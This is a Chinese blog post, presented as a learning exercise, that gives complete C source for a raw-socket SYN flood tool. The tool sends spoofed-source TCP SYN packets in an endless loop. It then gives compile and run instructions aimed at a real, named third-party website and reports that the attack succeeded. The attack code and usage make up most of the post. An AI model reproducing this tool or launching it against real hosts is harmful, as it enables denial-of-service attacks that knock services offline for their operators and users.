DDOS攻击实现及学习

DDOS攻击实现及学习

目录:

文章目录

  • DDOS攻击实现及学习
    • 目录:
    • 1、背景:
    • 2、实验环境:
    • 3、源码:
    • 4、使用方法:
    • 5、实验效果:
    • 6、实验总结:

1、背景:

  • 学习并实现DDOS攻击,深入了解TCP/IP,UDP/IP的底层结构。

2、实验环境:

  • Ubuntu 15.10
  • c/c++

3、源码:

ddos.c

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include

//ip首部长度
#define IP_HEADER_LEN sizeof(struct ip)
//tcp首部长度
#define TCP_HEADER_LEN sizeof(struct tcphdr)
//ip首部+tcp首部长度
#define IP_TCP_HEADER_LEN IP_HEADER_LEN+TCP_HEADER_LEN
//本地端口
#define LOCALPORT 8888

void err_exit(const char *err_msg) {
	perror(err_msg);
	exit(1);
}

//填充ip首部
struct ip *fill_ip_header(int ip_packet_len) {
	struct ip *ip_header;
	ip_header = (struct ip *) malloc(IP_HEADER_LEN);
	ip_header->ip_v = IPVERSION;
	ip_header->ip_hl = sizeof(struct ip) / 4;
	ip_header->ip_tos = 0;
	ip_header->ip_len = htons(ip_packet_len);
	ip_header->ip_id = 0;
	ip_header->ip_off = 0;
	ip_header->ip_ttl = MAXTTL;
	ip_header->ip_p = IPPROTO_TCP;
	ip_header->ip_sum = 0;
	return ip_header;
}

//填充tcp首部
struct tcphdr *fill_tcp_header(int dst_port) {
	struct tcphdr *tcp_header;
	tcp_header = (struct tcphdr *) malloc(TCP_HEADER_LEN);
	tcp_header->source = htons(LOCALPORT);
	tcp_header->dest = htons(dst_port);
	tcp_header->doff = 5;
	tcp_header->syn = 1;
	tcp_header->seq = random();
	tcp_header->ack_seq = 0;
	tcp_header->check = 0;
	return tcp_header;
}

//发送ip_tcp报文
void ip_tcp_send(const char *dst_ip, int dst_port, int sockfd) {
	struct ip *ip_header;
	struct tcphdr *tcp_header;
	struct sockaddr_in dst_addr;
	struct hostent *host;
	socklen_t sock_addrlen = sizeof(struct sockaddr_in);

	int ip_packet_len = IP_TCP_HEADER_LEN;
	char buf[ip_packet_len];
	host=gethostbyname(dst_ip);

	bzero(&dst_addr, sock_addrlen);
	dst_addr.sin_family = PF_INET;
	dst_addr.sin_addr= *(struct in_addr *)(host->h_addr_list[0]); ;
	dst_addr.sin_port = htons(dst_port);

//	ip首部
	ip_header = fill_ip_header(ip_packet_len);
	ip_header->ip_dst=dst_addr.sin_addr;
//	tcp首部
	tcp_header = fill_tcp_header(dst_port);

	bzero(buf, ip_packet_len);
	memcpy(buf, ip_header, IP_HEADER_LEN);
	memcpy(buf + IP_HEADER_LEN, tcp_header, TCP_HEADER_LEN);

	printf("DDOS attack start..........\n");
//	发送报文
	while (1) {
		ip_header->ip_src.s_addr = random();
		sendto(sockfd, buf, ip_packet_len, 0, (struct sockaddr *) &dst_addr,
				sock_addrlen);
	}
}

int main(int argc, const char *argv[]) {
	if(argc < 2)
	{
		printf("usage:%s hostname/ip dst_port [src_port]", argv[0]);
		exit(1);
	}
	int sockfd, on = 1;
	//	创建tcp原始套接字
	if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
		err_exit("socket()");
	else
		printf("socket create success!!!\n");
	//	开启IP_HDRINCL,自定义IP首部
	if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
		err_exit("setsockopt()");
	else
		printf("set socket option success\n");
	printf("starting attack..............\n");
	setuid(getpid());
	ip_tcp_send(argv[1], atoi(argv[2]), sockfd);
	close(sockfd);
	return 0;
}

4、使用方法:

1、编译链接源码:gcc -W -Wall ddos.c -o ddos
2、攻击:sudo ./ddos www.hwadee.com 80

5、实验效果:

1、正常时的访问时间
DDOS攻击实现及学习_第1张图片
2、DDOS攻击中的访问时间
DDOS攻击实现及学习_第2张图片

6、实验总结:

开始是参考IP/TCP发送程序写的,但是发现没效,目前只能认为原因是每次发送都新建一个socket。后来改成同一个socket,通过每次循环改变源IP再发送就有效了。具体原因尚未清楚,有待以后详细研究。
DDOS会发送大量数据包,大量数据包在网络链路上,可能会引起网络拥塞。网络拥塞也可以引起无法访问或访问时间过长的问题。但是经过试验证明,网络拥塞只是微乎其微的影响,完全可以忽略不计。
总体来说,DDOS攻击还是成功的,有时间再深究socket和IP/TCP的东西了。

你可能感兴趣的:(网络安全)